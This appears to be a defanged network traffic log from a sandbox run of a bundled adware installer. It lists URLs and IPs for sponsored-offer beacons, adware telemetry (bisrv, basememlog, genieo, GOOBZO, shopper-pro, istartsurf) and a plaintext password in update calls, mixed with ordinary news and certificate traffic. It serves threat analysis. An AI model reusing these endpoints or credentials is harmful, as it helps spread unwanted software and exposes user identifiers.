hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=	23.37.43.27
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=W5y9y1UrGBmidLNtGGzWYU7rJDSm VNK1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZY6XgoNtHCHtXf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://www.istartsurf.com/logic/z.php	69.28.57.25
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150513152047-pkg-sesay-italy-migrant-birth-00011101-large-169.jpg	87.245.221.97
hxxp://rss.cnn.com/robots.txt	64.233.167.121
hxxp://bi.bisrv.com/installer/ajax	78.138.127.15
hxxp://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7	178.255.83.1
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=4&index_in_screen=1&index_in_session=4&0.05251509077667993	78.138.127.15
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150421164740-lead-dnt-sciutto-u-s-warships-in-yemen-message-to-iran-00002919-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150504161502-arwa-nepal-5-large-169.jpeg	87.245.221.97
hxxp://rss.tvguide.com/Movie-News	87.245.221.104
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515090525-01-amtrak-0515-large-169.jpg	87.245.221.97
hxxp://rss.news.yahoo.com/rss/business	77.238.184.150
hxxp://www.tvguide.com/	87.245.221.104
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=2&index_in_screen=1&index_in_session=2&0.4797686838008186	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/13203.ashx?e=2v0SNuZrMFzXE3CBqGdJya372E7NlAtQABXIBdploCiMDmRWpWBZ0CAvELRpepitjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGWLazpewXw1g ltfx41nMghQC drCF7eFTvYhKMprBayhLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P	198.232.124.192
hxxp://rss.tvguide.com/breakingnews	87.245.221.104
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=yhrBLBbZM9XZ/Qu8ewVmadZ/7x4XnQsxsg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybWLazpewXw1hJrxsBNiLaIoQ/YD6Ylfh4s IILilpWF3SrJmHujm63CsyUOo1FNpRnK58B7 vg9JI4PFOXq Sm2/D9rnod6Atn497yrXAWT5LUtYGLIDr9jIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPTqgRW4HbD4bYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaCikrMz/ bCM7aORXkWGY0yC0TCtLj26MzXWKBZOyWjkrm 5F5oSzMhhqfg4779Up	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150508120535-tina-fey-strips-letterman-01-large-169.png	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150512125413-skyhawk-aerial-photography-lone-fisherman-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515121147-medal-honor-tease-large-169.jpg	87.245.221.97
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.4&utms=1&utmn=1981246019&utmhn=bi.bisrv.com&utmhid=1218214819&utmr=-&utmp=Installer_Init&utmht=1431730894392&utmac=UA-31676879-1&utmcc=__utma=1.1626043335.1431730894.1431730894.1431730894.1;+__utmz=1.1431730894.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=998541745&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.116.132
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VQy TvLH5SNftN2kzF 5WqbPiCC4paVhd7txZncMHn06ScJu8C7yBqpe/jFqE4L9XD4NyULog6KHAsvlBgzvTh6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tQCBJyuB1u/1DIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPcrcuUqCSC44=	198.232.124.192
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1431730972	54.231.17.196
hxxp://errors.basememlog.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=3&rnd=1431730975	54.231.17.196
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/32252.ashx?e=F94QJJu2atmidLNtGGzWYaNzv4moofQ 1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/YjEtyH551f0i8Ncgi JrdnybChyDNa6NRYWqdbL0ug8/YT/CC0O0kymF904v4t2Drf57lxgtZUO8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhcbDgzccadBEh8h5o3YrXrbLSflwInKoSmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgyIhIx/wjkko=	198.232.124.192
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1431730977	54.231.17.196
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?80234f3548c663b9	87.245.221.90
hxxp://stats.basememlog.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_42&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=16&rnd=1431730988	54.231.1.92
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=c2mW1WEUbCGidLNtGGzWYUmfPxKtzbEM1VMaOJFqXYpm5LT87ehXaouB5vT09TkZU415VydB1BnpFBfC/1GFX1sFx0Ai5knupjdibKIr9As4ou3K/BuTrriKIFo3W8f23Wq7IsWCDz6EFBpfj8N9vXZWIHhdOu4n31fTgrR12XwN5lyRGN/ZhwIcLERiDa7o1PGi1jiMiVB/GFq7jeHujNOMHCwUiLtt2M k6nRqIwQzvRP dcw0L2ywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS vn9 i6URlkw5E7fTGofcC5QZBn7pcY5RssgX4HQvzDxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqZ5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy0pzxpXbszpD	198.232.124.192
hxxp://static.bbci.co.uk/news/1.69.0321/img/brand/news.png	87.245.221.98
hxxp://analytics.genieo.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_chrome=2	64.233.167.121
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1431730975	54.231.17.196
hxxp://news.yahoo.com/rss/mostviewed	188.125.93.38
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/14396.ashx?e=uWabAt9SLcz1rEcPDUvKZj0Z7sea5zO UB/4jIVeTtL8ln8Iap23//2TEkHeJNDUga zuhV9q9Hkf4JsJqHXLCR1q1S/V1rzDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3eHvRF2LX Yt4KY4qKL6xah1lOMOIqPyebLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL6 f36LpRGWTOPQbi9J/L4Un7VGscQsWmG0rXCKv72ck3a4leJj3gd30GxQkL QSvRXZhP8niUnuouQlrWxrEbh307rxaZ1a5Q1BRFmm7xFCR/TQDPQj2/BXUvq LBuSsYHItXZWLu6qr7AYX4zQsugICqsOtV0jEpfD757nSlzRwFcijFc6Rq0TcyQFgmQvaWAtNVO4ZBpyhNoTsPRQylobE24FQ8d9v1NTrse/S6bH3ikPYVfMObp6skJGHV6Wx/RAFOdxzOm79zKEv37udDSeG7SWcjRf4QvtzO Ow1rbxmuSk9kZ0iSZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VYprmtggrnPnPknLN9u16ASmF904v4t2D1NA7tXD3CmC73NeQp8SPtVWImRA6nvXyemsIrBY4kGYmnYHoNvmS0wjwsXSvUcVI6Z8Wlm3oZOE/Ow1jdI7tmsPjJfVfuaLDjEDeHJGt1uwDsaRajMf3YDSvXJPFDaFtXAs3XRcvNCfTm 4WEJYsdGqHtv2oE0WIbZOd1Z hx8BPIOGLdaeOjR sDLwnn1132uAG1IrkYwnafAodXicqFMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfeIiLexbHBMiJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2s9O CwlJrmA=	198.232.124.192
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1431730976	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150513133203-17-amtrak-pa-0513-large-169.jpg	87.245.221.97
hxxp://edition.cnn.com/feedback	185.31.17.73
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150321165651-mad-max-fury-road-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19V5yF80LcSiUprLQLaeFmmuxQC drCF7eFBnVIr3mA12sFsK7/Ya3qp3H4CQmKwMH4r9Jhf/fTQpezt6pbQmh/1TAyVFa8Kky4wWiZseMklSFEZLrLhs96otwo5V3AagblXQpk3ufzer4FsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv61eLAdt2STwvhnJsfssGenaftxp29cdet/75Tb6nvI6oZN041sf6R9PPE5RP1LOLdZ3vEKumRhmNpxnQKqBcIRK93Qlsgdg5HvI0hVeZ5GjYH8hyAaL5CajGlYHodqc6ZHHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tQCBJyuB1u/1DIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPcrcuUqCSC44=	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515181900-castroneves-large-169.jpg	87.245.221.97
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=1&index_in_screen=1&index_in_session=1&0.9169541453657197	78.138.127.15
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=	23.37.43.27
hxxp://sports.yahoo.com/favicon.ico	188.125.93.38
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl	87.245.221.98
hxxp://international.nytimes.com/?partner=rss&emc=rss	170.149.168.130
hxxp://analytics.genieo.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&campaign_from_download=not_found&download_browser=not_found&campaign_extract_error=failed_installPath&download_url=	64.233.167.121
hxxp://download.genieo.com/misc/preset_feeds_override2.json	54.231.11.88
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=W5y9y1UrGBmidLNtGGzWYdSPsyWRmafrTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64W40V8RHoWcfADsKdK4BIvGCdwiLZyE1Pd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjU8kydD/bvW zPy3bbEKvCWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgkex5UpBoxTMMW2oEbpyuz9p5gsvoA3US	54.197.238.106
hxxp://news.bbc.co.uk/robots.txt	212.58.244.59
hxxp://analytics.genieo.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&data=updater_ping=&revision_core=0&revision_updater=0&revision_partner=0&os_version=Microsoft Windows 7 Professional Service Pack 1 (build 7601), 64-bit&java_version=1.6	64.233.167.121
hxxp://analytics.genieo.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&bootstrap_started=	64.233.167.121
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/32062.ashx?e=NdvkYMTo1KuidLNtGGzWYUmfPxKtzbEM1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/YjEtyH551f3QZEFRPhzYVXf1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv/jLj1QsAUMm T/icuQB LEOpmbziZmW1eQRE0cF7lrf/k6YQPAn cmB5nIkMjph0BJ7ytXtOq9SKV0xCpDcC6ECkfAR9QM72jz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqiTPEXbtvYnN3qmqBW5XL7l9IYL8x1ybsb4FXLrRIVqTq10EZsxP4trEIkQsYPNggSlJQe0vxDLEzDsdDpQ6tGYWyi3WOveHTxm7k0HmXcf88Sy wW7Vv/w4xBfpeCLMatvuksb7LC7IaCnTaHRnGMLB0lcfia15nl0eFK1c7Xfl6fqJvtbGSe/nXBYmj vXd E7kNQwB4lhRWxdc2tTwxuylfDB3e3gQ 62ls PLHCLAiYA14BsUXG3T8yBNq2sRxCVpHDePMpxXW5lnk56ZrbzLXG8vRwSIBeLTSE/VuVWrYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k=	23.37.43.27
hxxp://bi.bisrv.com/robots.txt	78.138.127.15
hxxp://i.cdn.turner.com/cnn/.e/img/4.0/logos/cnn_espanol_bw.png	87.245.221.97
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl	87.245.221.98
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19V1nZT UXyB8cE8SFHLIEPsOit9OsprAChdn2Gh86QFqgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtQFyGFTg6bSYHl7SsVu0EN2ltoT7k41XPub/WK4pseWXeDTO6L2KLXHkYMF1sFL98=	198.232.124.192
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730966&SBPIDS=0
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150512162730-salma-hayek-refugee-camp---s046828726-large-169.jpg	87.245.221.97
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1431730978	54.231.17.196
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.5474319389293536	78.138.127.15
hxxp://rss.news.yahoo.com/rss/topstories	77.238.184.150
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?23bd924b10a22357	87.245.221.90
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1431730977	54.231.17.196
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1431730982	54.231.17.196
hxxp://analytics.genieo.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&engine_started=&version_core=ver. 2.7.688, rev. 16741&version_partner=1.0.400&java_version=1.6.0_18&os=Windows 7&os_version=6.1	64.233.167.121
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=W5y9y1UrGBmidLNtGGzWYdSPsyWRmafrTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64pCqhM9WF88xVYKnsyIwaPeLmf6eHphUt51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxPRnux5rnM77rqmoFjwdjkN62wjSae0jpX4VnmED7u0HiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuyobRbSlpC7xcESu6mOfiHCjIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPksnh1YRA Jk=	54.197.238.106
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1431730975	54.231.17.196
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?27c8070a6e7007c8	87.245.221.90
hxxp://promotion.genieo.com/admin/items/get_items_to_promotion?numTimesFetched=0&uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002	74.125.133.121
hxxp://ocsp2.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhJz1lhSyxS2RYZQVJ48M2bQ==	108.162.232.203
hxxp://i.cdn.turner.com/cnn/.e/img/4.0/logos/freedom_project_bw.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/13203.ashx?e=2v0SNuZrMFzXE3CBqGdJya372E7NlAtQABXIBdploCiMDmRWpWBZ0CAvELRpepitjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy xrlcXqCG0Rt2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk=	198.232.124.192
hxxp://stats.basememlog.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1431730972&procruntime=2&rnd=1431730974	54.231.1.92
hxxp://i.cdn.turner.com/cnn/.e/img/4.0/logos/cnn_arabic_bw.png	87.245.221.97
hxxp://static-1.tvgcdn.net/www/img/favicon.svg	87.245.221.104
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150507163625-screen-free-week-lisas-desk-orig-mg-00002822-large-169.jpg	87.245.221.97
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1431730977	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515121240-electronic-skin-tease-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/14396.ashx?e=QHucCbLl /YLjT49fHfOTAGx/L8zMsL1/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lzi9D8ZnuFanqY5GcMHOnR dxUU31LK7oTpek9GMPHJkI4G r 3F6T7H7pKsXVuis88 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qokzxF27b2JzdAEQeGtxajvJfNvXfkgUrm/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic=	198.232.124.192
hxxp://edition.cnn.com/US/index.html?eref=rss_us	185.31.17.73
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150505094904-17-will-ripley-north-korea-large-169.jpeg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VAhTD7v1xeC59AEINFij/sY4G r 3F6T7IPcRS MHsojG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3iIi3sWxwTIib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtrPTvgsJSa5g	198.232.124.192
hxxp://ocsp2.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhe/+pr+g3vWZOnLHIj3xQ0w==	108.162.232.203
hxxp://promotion.genieo.com/favicon.ico	74.125.133.121
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=1&index_in_screen=1&index_in_session=1&0.18410186262342382	78.138.127.15
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150503120239-10-will-ripley-north-korea-large-169.jpg	87.245.221.97
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730975&SBPIDS=0
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150414175002-yemen-aid-plane-icrc-red-cross-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=xY8ohDYpM j7QFMK1iR6liNS3h2XT6ZhEhGH33nPGlEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybLd3NvEenLiC6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMYL4dZo2LWgpfMKnTStLOo4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDNw97dOE/f1g==	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150513072302-01-nepal-0513-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515002106-pkg-hancocks-north-korea-slave-labor-00005614-large-169.jpg	87.245.221.97
hxxp://download.genieo.com/partner/gim394750002/release/live/partner_manifest.xml	54.231.11.88
